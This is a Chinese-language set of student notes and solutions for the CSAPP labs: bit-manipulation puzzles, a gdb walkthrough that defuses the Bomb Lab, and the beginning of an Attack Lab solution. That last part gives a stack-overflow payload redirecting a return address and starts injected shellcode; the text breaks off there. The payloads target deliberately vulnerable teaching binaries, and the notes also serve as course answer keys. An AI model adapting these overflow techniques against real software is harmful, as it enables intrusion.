CSAPP-Labs
Solutions and Notes for Labs of Computer Systems: A Programmer's Perspective 3rd Editon // 《深入理解计算机系统》第三版的实验文件、解答与笔记
CSAPP-Labs
这个项目是我对《深入理解计算机系统》第三版配套实验的解答和我写的笔记，实验文件在目录labs下，来源Lab Assignments。
目录：
labs
包含所有的lab文件，以及CMU给的参考文档，也包含我写的解答文件，我的实验环境是 Ubuntu 16.04 amd-64，其中source保存了所有lab的原文件；
notes
是我写的笔记：
涉及了位运算，补码和浮点数等内容，都是C语言程序设计题。
拆除二进制炸弹，可以大大提升看汇编代码的能力。
这个lab主要涉及了栈随机化，不可执行等栈保护的方法和使栈溢出、ROP攻击等内容。
Architecture Lab，涉及了Y86-64指令集，和SEQ和PIPE的实现方式，以及程序优化等内容，可以熟悉汇编和硬件语言HCL。
这个lab在CMU已经被Cache Lab取代了，考虑到Cache Lab比较难，可以先做这个lab练练手。基于书上第五、六章对程序进行优化，主要用了循环分块消除缓存不命中和消除分支预测错误等方法。
Part A要求写一个缓存模拟器，Part B要求优化矩阵转置函数，减少缓存不命中数。这个lab可以加深对缓存的理解。已写完Part A。
datalab
Data Lab 笔记
这一个 lab 主要涉及了位运算，补码和浮点数等内容。完成 lab 不仅要实现函数的功能，还要求仅用规定的操作符，操作符数目也在限定范围内，这一点比较坑，因为这样代码可读性不高，当然难度也大了。所有题目都限定在32位系统中。
题目列表在 bits.c 中，完成解答可以用 lab 自带的 dlc 检查操作符是否合法，可以 make btest 检查解答是否正确，具体可以参见 README
参考资料：
马天猫的CS学习之旅
1.位操作
1.bitAnd
/*
* bitAnd - x&y using only ~ and |
* Example: bitAnd(6, 5) = 4
* Legal ops: ~ |
* Max ops: 8
* Rating: 1
*/
int bitAnd(int x, int y) {
return ~((~x)|(~y));
}第一题要求只用非运算 ~ 和或运算 | 实现和 & 运算，可以使用 德摩根定律
2.getByte
/*
* getByte - Extract byte n from word x
* Bytes numbered from 0 (LSB) to 3 (MSB)
* Examples: getByte(0x12345678,1) = 0x56
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 6
* Rating: 2
*/
int getByte(int x, int n) {
int mask=0xff;
return (x>>(n<<3))&mask;
}第二题是从 x 中提取出第 i 个字节（i=0,1，2,3），方法就是将那个字节移位至最低位，然后用屏蔽码 0xff 提取就可以了；
3.logicalShift
/*
* logicalShift - shift x to the right by n, using a logical shift
* Can assume that 0 <= n <= 31
* Examples: logicalShift(0x87654321,4) = 0x08765432
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 20
* Rating: 3
*/
int logicalShift(int x, int n) {
int mask=((0x1<<(32+~n))+~0)|(0x1<<(32+~n));
return (x>>n)&mask;
/* int c=((0x1<<31>>31)^0x1)<<31;
return ((x>>n)^(c>>n)); it's wrong.
*/
/*return ~((~x)>>n); it's wrong.
*/
}第三题要求实现逻辑右移，对于有符号的 int ，C 语言默认的移位方式是算术右移，就是右移时在高位扩展符号位，这里我们需要扩展的符号位都设置为 0 ,可以构造一个屏蔽码屏蔽 x>>n 中的非扩展的位，用 & 实现目的。
但这里要注意 C 语言对移位位数超出自身长度的行为是未定义的，因此在这里构造屏蔽码时不能使得移位位数超过了32或是小于0，我这段代码为了避免这种情况的发生，将屏蔽码分了最高位和其他位两部分构造，直接使用 ((0x1<<(33+~n))+~0) 构造的屏蔽码在 n=0 将会无法确定。
这里 32+~n 表示了 31-n ，可以由补码的运算性质 -x=~x+1 得到，同时这里我在注释里写了两个我最初写的 bug 。
4.bitCount
/*
* bitCount - returns count of number of 1's in word
* Examples: bitCount(5) = 2, bitCount(7) = 3
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 40
* Rating: 4
*/
int bitCount(int x) {
int _mask1=(0x55)|((0x55)<<8);
int _mask2=(0x33)|((0x33)<<8);
int _mask3=(0x0f)|((0x0f)<<8);
int mask1=(_mask1)|(_mask1<<16);
int mask2=(_mask2)|(_mask2<<16);
int mask3=(_mask3)|(_mask3<<16);
int mask4=(0xff)|(0xff<<16);
int mask5=(0xff)|(0xff<<8);
int ans=(x&mask1)+((x>>1)&mask1);
ans=(ans&mask2)+((ans>>2)&mask2);
ans=(ans&mask3)+((ans>>4)&mask3);
ans=(ans&mask4)+((ans>>8)&mask4);
ans=(ans&mask5)+((ans>>16)&mask5);
return ans;
}这题好难T_T，应该是这个 lab 里最难的了吧；
题目意思就是要统计一个32位的 int 里的 1 的个数，但是只能使用40个操作符，直接扫一遍字的话操作符就大大超过规定数了；
这里构造了五个常数，分别是 0x55555555，0x33333333，0x0f0f0f0f，0x00ff00ff，0x0000ffff，就是分别间隔了1个0,2个0,4个0,8个0和16个0,利用这五个常数就能依次计算出五个值，第一个值每两位的值为 x 的对应的两个位的和（即这两位中 1 的数目），第二个值每四位是第一个值对应的四位中两个两位的和（即原 x 中 1的数目），依次类推最后一个值就是结果了；
怎么理解呢，可以看到这里构造的五个常数的间隔可以刚好使得只提取 n 位，移位之后再提取相邻 n 位（n=1,2,4,8,16），并且（考虑最大值可知）这两个 n 位加和后不会超出 n 位，使得 x 中的 1 一步步加和成最终的结果，可以举一个例子，若要求 1001 中 1 的数目，用(1001&0101)+((1001>>1)&0101),就能将每相邻一位加和成一个两位，成 0101，再用(0101&0011)+((0101>>2)&0011)，就将每两位加和了，得到 0010 ,就是最终的结果。
5.bang
/*
* bang - Compute !x without using !
* Examples: bang(3) = 0, bang(0) = 1
* Legal ops: ~ & ^ | + << >>
* Max ops: 12
* Rating: 4
*/
int bang(int x) {
x=(x>>16)|x;
x=(x>>8)|x;
x=(x>>4)|x;
x=(x>>2)|x;
x=(x>>1)|x;
return ~x&0x1;
}这题要求仅用规定的操作符来实现！运算，对 0 运算就得到 1,对非 0 就得到 0；也就是如果 x 的位中含有 1 就返回 0 ,这里运用移位后取或将 x 中的位一步步「折叠」 到了第一位上，然后判断第一位就可以了，这种「折叠」的方法很有趣，值得一看：）
2.补码
6.tmin
/*
* tmin - return minimum two's complement integer
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 4
* Rating: 1
*/
int tmin(void) {
return 0x1<<31;/*tmin==~tmax*/
}这题返回补码最小值，注意到 tmin==~tmax，补码负数表示部分和正数是不对称的，最小值的绝对值是最大值的绝对值加1。
7.fitsBits
/*
* fitsBits - return 1 if x can be represented as an
* n-bit, two's complement integer.
* 1 <= n <= 32
* Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 15
* Rating: 2
*/
int fitsBits(int x, int n) {
int c=33+~n;
int t=(x<<c)>>c;
return !(x^t);
}这题题目意思是判断 x 能否用一个 n 位的补码表示，能的话就返回 1,开始我没看懂题目…举个例子，101 是不能用 3 位补码表示的，因为 3 位最高位是符号位，最大只能表示 011,注意到这里 x 是32位的，不能直接右移的；
要用 n 位的补码表示，x 只能是两种情况： 00…0|0|(n-1)位 或是 11…1|1|(n-1)位 ，这样 32 位的补码才会与 n 位的补码值相同，这里的方法就是将 x 左移（32-n）再右移回去，这样就能得到那两种情况的值，再判断这样操作之后是否与原来的 x 相等，就解决问题了；
这里由补码性质，33+~n 等于 32-n 。
8.divpwr2
/*
* divpwr2 - Compute x/(2^n), for 0 <= n <= 30
* Round toward zero
* Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 15
* Rating: 2
*/
int divpwr2(int x, int n) {
int bias=(x>>31)&((0x1<<n)+~0);
return (x+bias)>>n;
}这题计算 x/(2^n) ，注意不能直接右移，直接右移是向下舍入的，题目要求是向零舍入，也就是正数向下舍入，负数向上舍入，这里参照 CS:APP 书上的做法，给负数加上一个偏正的因子 (0x1<<n)+~0) ，判断负数直接看符号位。
9.negate
/*
* negate - return -x
* Example: negate(1) = -1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 5
* Rating: 2
*/
int negate(int x) {
return ~x+1;
}这题求 -x ，直接利用补码的性质 -x=~x+1 就可以了。
10.isPositive
/*
* isPositive - return 1 if x > 0, return 0 otherwise
* Example: isPositive(-1) = 0.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 8
* Rating: 3
*/
int isPositive(int x) {
return !(!(x))&!((x>>31)&(0x1));
}这里判断是否是正数，直接判断符号位，但是注意要排除 0 的情况！
11.isLessOrEqual
/*
* isLessOrEqual - if x <= y then return 1, else return 0
* Example: isLessOrEqual(4,5) = 1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 24
* Rating: 3
*/
int isLessOrEqual(int x, int y) {
int val=!!((x+~y)>>31);
x=x>>31;
y=y>>31;
return (!!x|!y)&((!!x&!y)|(val));
}这题比较两个数的大小，要求判断第一个数是否小于等于第二个数，这里考虑做减法然后判断符号，注意要考虑溢出的情况，这里 ((x+~y)) 表示了 x-y-1 ，若其结果为负，则 x <= y ;
这里先判断 x 与 y 的符号，如果 x 为负，y 为正直接返回 1 ,如果 x 为正，y 为正，直接返回 0；然后就是全正数和全负数的减法，这样不会溢出。
12.ilog2
/*
* ilog2 - return floor(log base 2 of x), where x > 0
* Example: ilog2(16) = 4
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 90
* Rating: 4
*/
int ilog2(int x) {
int ans=0;
ans=(!!(x>>(16)))<<4;
ans=ans+((!!(x>>(8+ans)))<<3);
ans=ans+((!!(x>>(4+ans)))<<2);
ans=ans+((!!(x>>(2+ans)))<<1);
ans=ans+((!!(x>>(1+ans)))<<0);
return ans;
}这题求 x 以 2 为底的对数，解法有点难想到，注意到 32 位数的对数最大也不会超过 32,可以写成是 16*a+8*b+4*c+2*d+e 这里 a，b，c，d，e 都是 0 或 1，然后通过向右移 16 位就可以判断符号就可以得到 a ，右移 16*a+8 位可得到 b，以此类推得到其他位。
3.浮点数
以下三题是关于浮点数的，可以使用任何操作符和分支语句。
13.float_neg
/*
* float_neg - Return bit-level equivalent of expression -f for
* floating point argument f.
* Both the argument and result are passed as unsigned int's, but
* they are to be interpreted as the bit-level representations of
* single-precision floating point values.
* When argument is NaN, return argument.
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 10
* Rating: 2
*/
unsigned float_neg(unsigned uf) {
int c=0x00ffffff;
if(((uf<<1)^(0xffffffff))<c){
return uf;
}else{
return uf^(0x80000000);
}
}这题计算 -f ，f 是浮点数，这里直接改浮点数的符号位，但是注意要单独考虑 NaN 的结果。
14.float_i2f
/*
* float_i2f - Return bit-level equivalent of expression (float) x
* Result is returned as unsigned int, but
* it is to be interpreted as the bit-level representation of a
* single-precision floating point values.
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
unsigned float_i2f(int x) {
int n=0xffffffff;
int e=0; /* exp */
int tmp=0;
int tmp2=0;
int cp=0;
int cp2=0;
int sign=x&0x80000000; /* 0x80000000 or 0x0 */
if(x==0x80000000){
return 0xcf000000;
}
if(x==0){
return 0;
}
if(sign){
x=-x;
}
x=x&0x7fffffff; /* remove sign */
tmp=x;
while(tmp){
tmp=tmp>>1;
n++;
}
x=x-(0x1<<n); /* remove highest bit */
if(n<24){
x=x<<(23-n);
}else{
tmp2=x>>(n-23);
cp2=0x1<<(n-24);
cp=x&((cp2<<1)-1);
if(cp<cp2){
x=tmp2;
}else{
if(tmp2==0x7fffff){
x=0;
n++;
}else{
if(cp==cp2){
x=((tmp2)&0x1)+tmp2;
}else{
x=tmp2+1;
}
}
}
}
e=(127+n)<<23;
return sign|e|x;
}这题是将整型转化为浮点数的格式，坑点很多，耗时长。。 整体思路就是依次计算符号位，阶码值和小数字段，符号位可以直接移位提取，阶码值就是除了符号位外最高位的位数减 1 再加上偏差 127，小数字段可以移位（负数可以化为正数操作）获得，但这问题没这么简单，有很多坑点： 1.特殊值 0 化为浮点数后是非规格化的，单独考虑； 2.特殊值 0x80000000 是 2 的整数倍，小数部分用移位的话因为舍入问题会溢出，单独考虑； 3.要仔细考虑移位过程，左移还是右移能得到 23 位的小数部分； 4.注意舍入问题，这里需要仔仔细细地考虑清楚，默认使用向偶数舍入，就是舍去部分小于中间值舍弃，大于中间值进位，为中间值如 100 就向偶数舍入：就是看前一位，进位或舍弃总使得前一位为 0； 5.最后就是操作数目限制在 30 位，我最开始写完的代码有 42 个操作符，应该是算法太麻烦了。。写完最后要一步步简化操作符数目，控制中 30 以内，这里我为了减少操作符数目，写了些可读性很不高的表达式，还用了不少变量如 cp，cp2，简化这些耗了我很多时间。
15.float_twice
/*
* float_twice - Return bit-level equivalent of expression 2*f for
* floating point argument f.
* Both the argument and result are passed as unsigned int's, but
* they are to be interpreted as the bit-level representation of
* single-precision floating point values.
* When argument is NaN, return argument
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
unsigned float_twice(unsigned uf) {
int tmp=uf;
int sign=((uf>>31)<<31); /* 0x80000000 or 0x0 */
int exp=uf&0x7f800000;
int f=uf&0x7fffff;
tmp=tmp&0x7fffffff; /* remove sign */
if((tmp>>23)==0x0){
tmp=tmp<<1|sign;
return tmp;
} else if((tmp>>23)==0xff){
return uf;
} else{
if((exp>>23)+1==0xff){
return sign|0x7f800000;
}else{
return sign|(((exp>>23)+1)<<23)|f;
}
}
return tmp;
}这题计算浮点数的两倍，无穷大和 NaN 时直接返回，然后分规格化和非规格化两种讨论： 规格化的情况，阶码值直接加 1 ，但是有个特殊情况就是加一后阶码为 255 时，应返回无穷大； 非规格化的情况，排除符号位左移一位就可以了，因为这时阶码值为 0 ,两倍就相当于小数字段左移一位，不用担心溢出的情况，溢出时阶码值加 1,小数字段左移一位，相当于整体左移了。
小结
整个 lab 总体难度较大，我参考着 Google 花了一周的晚上才完成，真是太菜了。。还是要多学习，提高姿势水平。
bomb
Bomb Lab 笔记
这个 lab 给了一个名为 bomb 的程序文件，还有一个名为 bomb.c 的文件是题目要求和 bomb 实现的代码框架，无法编译。题目要求是运行 bomb 后输入六个 phase ，输入正确 bomb 程序才能继续运行，输入错误就会 bomb!
这里将结果保存在了 result.txt 中，看源码可知可用 unix> ./bomb result.txt 来运行程序；
题目做法就是运用反编译得到该程序的汇编代码，然后通过分析汇编代码，看程序的实现，同时结合 gdb 调试，通过打断点、查看内存结果推测应该输入的 phase 。
反编译使用 unix> objdump -d > obj.txt ，这里 obj.txt 保存了汇编代码；
gdb 调试常用的指令有：
unix> gdb bomb运行 gdb 调试 bomb(gdb) run result.txt以参数 result.txt 调试 bombbreak *0x40133f在 0x40133f 处设置断点print /d $rsi以十进制输出寄存器 rsi 的值print (char *) 0xbfff890输出以 0xbfff890 为首地址的字符串
更多指令可以参考 gdb 指令
参考资料：
马天猫的CS学习之旅
分析汇编代码可以看出：
0000000000400ee0 <phase_1>:在346行，phase_2 等函数紧跟其后
0000000000400da0 <main>:在264行
000000000040131b <string_length>:在688行
0000000000401338 <strings_not_equal>:在701行
000000000040145c <read_six_numbers>:在804行
phase1
phase1 函数将一个地址存入了 %rsi，然后调用了 string_not_equal 函数，而在该调用函数中又调用了 string_length 函数比较两端字符串的长度；
401338: 41 54 push %r12
40133a: 55 push %rbp
40133b: 53 push %rbx
40133c: 48 89 fb mov %rdi,%rbx
40133f: 48 89 f5 mov %rsi,%rbp
i01342: e8 d4 ff ff ff callq 40131b <string_length>
401347: 41 89 c4 mov %eax,%r12d
40134a: 48 89 ef mov %rbp,%rdi
40134d: e8 c9 ff ff ff callq 40131b <string_length>
401352: ba 01 00 00 00 mov $0x1,%edx
401357: 41 39 c4 cmp %eax,%r12d上段代码将存储了地址的 %rdi 和 %rsi 的值先后传到了 string_length 中， %rdi 即为原函数的第一个参数，即 input ，是输入的 phase 的首地址， %rsi 为设定的地址，是设定的 phase 的地址；上面的函数判断两个 phase 是否相同，不相同就 bomb! 因而将这个设定的 phase 打印出来就是结果了，设置一个断点，用 print (char *) 0x402400 打印出结果就得到了长度为 52 的答案了；
关于 string_length 函数：
000000000040131b <string_length>:
40131b: 80 3f 00 cmpb $0x0,(%rdi)
40131e: 74 12 je 401332 <string_length+0x17>
401320: 48 89 fa mov %rdi,%rdx
401323: 48 83 c2 01 add $0x1,%rdx
401327: 89 d0 mov %edx,%eax
401329: 29 f8 sub %edi,%eax
40132b: 80 3a 00 cmpb $0x0,(%rdx)
40132e: 75 f3 jne 401323 <string_length+0x8>
401330: f3 c3 repz retq
401332: b8 00 00 00 00 mov $0x0,%eax
401337: c3 retq该函数以 %rdi 为初始位置，通过循环不断比较 0 与该位置的值得到长度，返回到 %eax，打印出一个 %eax 得到 52 ，即为设定的长度；
phase2
400f17: 8b 43 fc mov -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
400f1c: 39 03 cmp %eax,(%rbx)
400f1e: 74 05 je 400f25 <phase_2+0x29>
400f20: e8 15 05 00 00 callq 40143a <explode_bomb>
400f25: 48 83 c3 04 add $0x4,%rbx
400f29: 48 39 eb cmp %rbp,%rbx
400f2c: 75 e9 jne 400f17 <phase_2+0x1b>phase_2 调用了 <read_six_numbers> 函数，来读取六个数字，将读取的数字存储在栈中，利用了上面的循环来判断数字是否符合设定；
上面的循环判断输入的后一项是否等于前一项的两倍，不相等就 bomb ，因而这打印出六个数的一个初始值就可以得到所有结果；
注意这里
400f0a: 83 3c 24 01 cmpl $0x1,(%rsp)
400f0e: 74 20 je 400f30 <phase_2+0x34>要求了 (%rsp) 的值必须为 1 ，而它就是栈顶，也就是第一个输入的数，所以 1 2 4 8 16 32 就是本题的答案了。
phase3
这题输入两个数，判断是否符合； 这题运用了一个间接跳转：
400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)以输入第一个数为索引，要求第一个数不超过 7 ，然后计算跳转地址，跳转后会设定第二个数的值，输入的第二个数与设定值不同就 bomb ；这里我没有看懂跳转后的地址，但通过不断打断点尝试，发现当第一个数为 0 时，跳转到了：
400f7c: b8 cf 00 00 00 mov $0xcf,%eax
400f81: eb 3b jmp 400fbe <phase_3+0x7b>这里将第二个数设置为 0xcf ，即 0 207 是符合的答案，这题答案不唯一。
phase4
这题输入两个数字，存入栈中；
401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp)
401056: 74 05 je 40105d <phase_4+0x51>从这里看出第二个数为 0 ，第一个数由调用的 func4 函数判断，返回值不为 0 时 bomb!
0000000000400fce <func4>:
400fce: 48 83 ec 08 sub $0x8,%rsp
400fd2: 89 d0 mov %edx,%eax
400fd4: 29 f0 sub %esi,%eax
400fd6: 89 c1 mov %eax,%ecx
400fd8: c1 e9 1f shr $0x1f,%ecx
400fdb: 01 c8 add %ecx,%eax
400fdd: d1 f8 sar %eax
400fdf: 8d 0c 30 lea (%rax,%rsi,1),%ecx
400fe2: 39 f9 cmp %edi,%ecx
400fe4: 7e 0c jle 400ff2 <func4+0x24>
400fe6: 8d 51 ff lea -0x1(%rcx),%edx
400fe9: e8 e0 ff ff ff callq 400fce <func4>func4 函数在 %ecx 中利用了一个递归分别存入 7 , 3 , 1 ，并使用跳转使得，第一个数小于7时不断递归且 %ecx小于等于第一个数，而跳转后即在下面的代码中会要求 %ecx 大于等于第一个数，否则递归，递归过程会设置eax使得其不为 0 ，所以只有当第一数等于 %ecx 时即 1 ， 3 , 7 时才能使最后返回值为 0 ；
400ff7: 39 f9 cmp %edi,%ecx
400ff9: 7d 0c jge 401007 <func4+0x39>
400ff2: b8 00 00 00 00 mov $0x0,%eax
40104d: 85 c0 test %eax,%eax
40104f: 75 07 jne 401058 <phase_4+0x4c>本题答案不唯一，可以为 1 0 或 3 0 或 7 0 。
phase5
这题中 mov %fs:0x28,%rax 为设定的 canary 值，可以忽视；这题通过对输入的 phase 进行一些运算操作，得到一个新的 phase ，判断完长度后将它的地址和设定的 phase 的地址传入 strings_not_equal 比较；
4010b3: be 5e 24 40 00 mov $0x40245e,%esi
4010b8: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
4010bd: e8 76 02 00 00 callq 401338 <strings_not_equal>这里看出设定的 phase 的地址是 0x40245e ，直接打印出句子 flyers ；
然后根据这个设定的 phase 得出操作前的 phase ；
40108b: 0f b6 0c 03 movzbl (%rbx,%rax,1),%ecx
40108f: 88 0c 24 mov %cl,(%rsp)
401092: 48 8b 14 24 mov (%rsp),%rdx
401096: 83 e2 0f and $0xf,%edx
401099: 0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx
4010a0: 88 54 04 10 mov %dl,0x10(%rsp,%rax,1)
4010a4: 48 83 c0 01 add $0x1,%rax
4010a8: 48 83 f8 06 cmp $0x6,%rax
4010ac: 75 dd jne 40108b <phase_5+0x29>上面的循环将输入的 phase，即一个数组 input[n] 的每个值做 &0xf 运算存到了 %edx 中，即提取出一个四位，然后以这个四位为偏移量访问内存中一段，将 0x4024b0(%rdx) 的值的 %dl 存到栈上的数组 0x10(%rsp,%rax,1) 里，这个数组就是了新的 phase ；
打印访问的内存，有：
(gdb) p (char *) 0x4024b0
$1 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"设定的 phase 就对应着地址偏移 9,15,14,5,6,7 位，而注意到 9 的 ASCII 码就是 0x39 ，提取出的四位正好是 9 ,经过上面的操作就可以得到一个字母 f，将其他偏移量对应于 ASCII 码就能得到结果 9?>567 ，就是答案了。
phase6
这个函数代码比较长，分几段理解：
1.读入六个数的数组；
2.一个双重循环；
401114: 4c 89 ed mov %r13,%rbp
401117: 41 8b 45 00 mov 0x0(%r13),%eax
40111b: 83 e8 01 sub $0x1,%eax
40111e: 83 f8 05 cmp $0x5,%eax
401121: 76 05 jbe 401128 <phase_6+0x34>
401123: e8 12 03 00 00 callq 40143a <explode_bomb>
401128: 41 83 c4 01 add $0x1,%r12d
40112c: 41 83 fc 06 cmp $0x6,%r12d
401130: 74 21 je 401153 <phase_6+0x5f>
401132: 44 89 e3 mov %r12d,%ebx
401135: 48 63 c3 movslq %ebx,%rax
401138: 8b 04 84 mov (%rsp,%rax,4),%eax
40113b: 39 45 00 cmp %eax,0x0(%rbp)
40113e: 75 05 jne 401145 <phase_6+0x51>
401140: e8 f5 02 00 00 callq 40143a <explode_bomb>
401145: 83 c3 01 add $0x1,%ebx
401148: 83 fb 05 cmp $0x5,%ebx
40114b: 7e e8 jle 401135 <phase_6+0x41>
40114d: 49 83 c5 04 add $0x4,%r13
401151: eb c1 jmp 401114 <phase_6+0x20>这里外层的循环要求六个数都小于等于 6 ，由于这里 jbe 是对无符号数操作，另外数为 0 时在循环判断条件处会溢出，所以这六个数都应为正数，即 1-6 范围，嵌套的内循环要求六个数两两不等，否则 bomb!
3.对数组操作的循环
401153: 48 8d 74 24 18 lea 0x18(%rsp),%rsi
401158: 4c 89 f0 mov %r14,%rax
40115b: b9 07 00 00 00 mov $0x7,%ecx
401160: 89 ca mov %ecx,%edx
401162: 2b 10 sub (%rax),%edx
401164: 89 10 mov %edx,(%rax)
401166: 48 83 c0 04 add $0x4,%rax
40116a: 48 39 f0 cmp %rsi,%rax
40116d: 75 f1 jne 401160 <phase_6+0x6c>这个循环使得读入的数组的每一项 a[i] 都变为 7-a[i] ；注意这是 16 进制， 0x18 就是输入的数组的边界；
4.利用一个链表提取出操作后数组的顺序
40116f: be 00 00 00 00 mov $0x0,%esi
401174: eb 21 jmp 401197 <phase_6+0xa3>
401176: 48 8b 52 08 mov 0x8(%rdx),%rdx
40117a: 83 c0 01 add $0x1,%eax
40117d: 39 c8 cmp %ecx,%eax
40117f: 75 f5 jne 401176 <phase_6+0x82>
401181: eb 05 jmp 401188 <phase_6+0x94>
401183: ba d0 32 60 00 mov $0x6032d0,%edx
401188: 48 89 54 74 20 mov %rdx,0x20(%rsp,%rsi,2)
40118d: 48 83 c6 04 add $0x4,%rsi
401191: 48 83 fe 18 cmp $0x18,%rsi
401195: 74 14 je 4011ab <phase_6+0xb7>
401197: 8b 0c 34 mov (%rsp,%rsi,1),%ecx
40119a: 83 f9 01 cmp $0x1,%ecx
40119d: 7e e4 jle 401183 <phase_6+0x8f>
40119f: b8 01 00 00 00 mov $0x1,%eax
4011a4: ba d0 32 60 00 mov $0x6032d0,%edx
4011a9: eb cb jmp 401176 <phase_6+0x82>这里的操作，有点类似于桶排序，而这里的桶是内存中的一个链表，这个链表有六个地址，0x6032d0，0x6032e0， 0x6032f0,0x603300，0x603310，0x603320，并且相邻的两地址有关系 *(0x6032e0+8)=0x6032f0 成立，以此类推，画个图就是个链表了，头结点是 0x6032d0；上面这个循环按六个数的顺序将这六个地址依次存入了栈的不同位置，使得 0x6032d0 对应于 1 （同时若是对应于操作后数组的 a[i] ，该地址就存入栈上初地址偏移的 i 位），0x6032e0 就对应于 2 以此类推，这样栈上各个地址所存入的偏移量就对应着中操作后数组的数，链表在栈上的顺序就对应着操作后数组中数的顺序。
5.根据栈上链表的顺序修改链表
4011ab: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx
4011b0: 48 8d 44 24 28 lea 0x28(%rsp),%rax
4011b5: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
4011ba: 48 89 d9 mov %rbx,%rcx
4011bd: 48 8b 10 mov (%rax),%rdx
4011c0: 48 89 51 08 mov %rdx,0x8(%rcx)
4011c4: 48 83 c0 08 add $0x8,%rax
4011c8: 48 39 f0 cmp %rsi,%rax
4011cb: 74 05 je 4011d2 <phase_6+0xde>
4011cd: 48 89 d1 mov %rdx,%rcx
4011d0: eb eb jmp 4011bd <phase_6+0xc9>这个循环把前一个栈中的地址加 0x8 取值后设为后一个栈中的地址，movq $0x0,0x8(%rdx) 把最后一个地址加0x8取值后设为 0 ，就是将栈上存入的第一个地址设为了链表的头结点，栈上下一个地址就设为了下一个结点，最后一个结点设为空，这样链表的结构就跟据栈上的存入情况改变了，链表节点的顺序就是操作后数组的顺序。
6.遍历链表
011da: bd 05 00 00 00 mov $0x5,%ebp
4011df: 48 8b 43 08 mov 0x8(%rbx),%rax
4011e3: 8b 00 mov (%rax),%eax
4011e5: 39 03 cmp %eax,(%rbx)
4011e7: 7d 05 jge 4011ee <phase_6+0xfa>
4011e9: e8 4c 02 00 00 callq 40143a <explode_bomb>
4011ee: 48 8b 5b 08 mov 0x8(%rbx),%rbx
4011f2: 83 ed 01 sub $0x1,%ebp
4011f5: 75 e8 jne 4011df <phase_6+0xeb>这里遍历了一遍链表，判断下一结点取得的值是否会小于等于这一结点取得的值时，不满足的话就 bomb ，因此输入的数组的顺序经过一些操作后应使得修改后的链表的值满足从大到小的顺序，打印下这几个地址取得的值，有：
(gdb) p /d *0x6032d0
$26 = 332
(gdb) p /d *0x6032e0
$27 = 168
(gdb) p /d *0x6032f0
$28 = 924
(gdb) p /d *0x603300
$29 = 691
(gdb) p /d *0x603310
$30 = 477
(gdb) p /d *0x603320
$31 = 443从大到小排序是：
0x6032f0，对应操作后的数组的 3 对应输入数组的 4 ；
0x603300，对应操作后的数组的 4 对应输入数组的 3 ；
0x603310，对应操作后的数组的 5 对应输入数组的 2 ；
0x603320，对应操作后的数组的 6 对应输入数组的 1 ；
0x6032d0，对应操作后的数组的 1 对应输入数组的 6 ；
0x6032e0，对应操作后的数组的 2 对应输入数组的 5 ；
所以原输入数组为 4 3 2 1 6 5
小结
通过这个 lab ，我学到了用 gdb 调试的方法，同时也对汇编知识更加熟悉了，做这个 lab 最重要的是要耐心和细心。
attack
Attack Lab 笔记
这个 lab 的文件包含：
README.txt: A file describing the contents of the directory.
ctarget: An executable program vulnerable to code-injection attacks. rtarget: An executable program vulnerable to return-oriented-programming attacks. cookie.txt: An 8-digit hex code that you will use as a unique identifier in your attacks. farm.c: The source code of your target’s “gadget farm,” which you will use in generating return-oriented programming attacks. hex2raw: A utility to generate attack strings.
实验解答保存在 resultn.txt 中；这里运行 ./ctarget -q 要用 -q ，毕竟不是 CMU 的学生，-q 的作用: Don’t send results to the grading server 。
这次的 lab 要仔细看官方的文档，里面是题目的要求，也包含解题指导。
这次 lab 就是输入攻击字符串，实现调用函数等目的，包含了对栈破坏，注入代码，ROP 攻击等方法，说明了栈溢出的危害。这里要使用 unix> ./hex2raw < result.txt | ./ctarget 来查看解答是否正确，解答保存在 result.txt 中，这里命令中的 |表示管道，就是把前面的输出作为后面的输入，./hex2raw 根据输入的 16 进制字符串生成攻击字符串；
参考资料：
CMU 的官方文档
马天猫的CS学习之旅
CSAPP 3e Attack lab
在解题之前，和 bomb lab 一样， 首先反汇编可执行程序，生成汇编代码。
objdump -d ctarget > ctarget.d
利用汇编代码来分析程序。
Part 1
这一部分都是利用栈溢出和注入代码的攻击，题目较简单。
第一题
题目要求输入字符串，攻击 getbuf ，在 test 函数中调用 touch1 函数；
第一题 getbuf 中 ：
4017a8: 48 83 ec 28 sub $0x28,%rsp 栈有 0x28 即 40 个字节，注意 x86-64 在函数调用时会自动将返回地址压入栈，因此调用函数时栈顶就是返回地址，只要修改它就能调用其他的函数了，输入 40 个字节后，使栈溢出，再输入个地址就能破坏 getbuf 返回地址，返回时就会调用修改了的地址对应的函数，这里的是个八字节的 64 位地址，按题目要求就是 touch1 函数的地址， 00000000004017c0 <touch1>: ，注意这里机器要用小端法存入地址写成： c0 17 40 00 00 00 00 00 ，因此第一题答案就是任意 40 个字节加上该地址。
答案可以是：
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
c0 17 40 00 00 00 00 00第二题
要求跳转到 touch2 函数，在第一题基础上加入了传值的要求；
方法就是注入代码，将返回地址改为注入代码的首地址，然后给参数的寄存器%rdi赋值，接着再次调用 touch2 时就有参数值了；
注入的代码：
movq $0x59b997fa,%rdi
pushq $0x004017ec
